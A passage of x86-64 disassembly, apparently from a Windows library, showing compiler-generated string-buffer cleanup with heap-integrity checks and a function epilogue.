call fcn.1800aa758
int3
sub rcx, rax
cmp rcx, 8
jae 0x18005cbea
call fcn.1800aa758
int3
cmp rcx, 0x27
jbe 0x18005cbf6
call fcn.1800aa758
int3
mov rcx, rax
call fcn.180059b58
mov qword [rbp - 0x28], 0xf
mov qword [rbp - 0x30], rdi
mov byte [rbp - 0x40], 0
mov rax, qword [rbp - 8]
cmp rax, 0x10
jb 0x18005cc64
inc rax
mov rcx, qword [rbp - 0x20]
cmp rax, 0x1000
jb 0x18005cc5f
test cl, 0x1f
je 0x18005cc32
call fcn.1800aa758
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x18005cc41
call fcn.1800aa758
int3
sub rcx, rax
cmp rcx, 8
jae 0x18005cc50
call fcn.1800aa758
int3
cmp rcx, 0x27
jbe 0x18005cc5c
call fcn.1800aa758
int3
mov rcx, rax
call fcn.180059b58
mov qword [rbp - 8], 0xf
mov qword [rbp - 0x10], rdi
mov byte [rbp - 0x20], 0
mov rax, rbx
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret